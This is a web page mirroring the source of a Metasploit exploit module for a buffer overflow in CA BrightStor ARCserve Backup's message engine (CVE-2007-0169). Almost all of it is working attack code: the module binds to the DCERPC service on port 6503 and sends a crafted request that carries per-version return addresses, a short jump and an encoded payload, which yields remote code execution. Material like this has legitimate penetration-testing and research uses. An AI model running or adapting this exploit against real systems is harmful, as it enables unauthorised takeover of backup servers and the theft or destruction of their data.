Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/message_engine.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
18
11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
19
the buffer and execute arbitrary code.
20
},
21
'Author' => [ 'MC', 'aushack' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2007-0169' ],
25
[ 'OSVDB', '31318' ],
26
[ 'BID', '22005' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 600,
34
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], # p/p/r cheyprod.dll 07/21/2004
40
[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],
41
[ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ],
42
],
43
'DisclosureDate' => '2007-01-11',
44
'DefaultTarget' => 1,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
Opt::RPORT(6503)
56
]
57
)
58
end
59
60
def exploit
61
connect
62
63
handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
64
print_status("Binding to #{handle} ...")
65
66
dcerpc_bind(handle)
67
print_status("Bound to #{handle} ...")
68
69
filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')
70
71
sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)
72
73
print_status("Trying target #{target.name}...")
74
75
begin
76
dcerpc_call(47, sploit)
77
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
78
end
79
80
handler
81
disconnect
82
end
83
end
84
85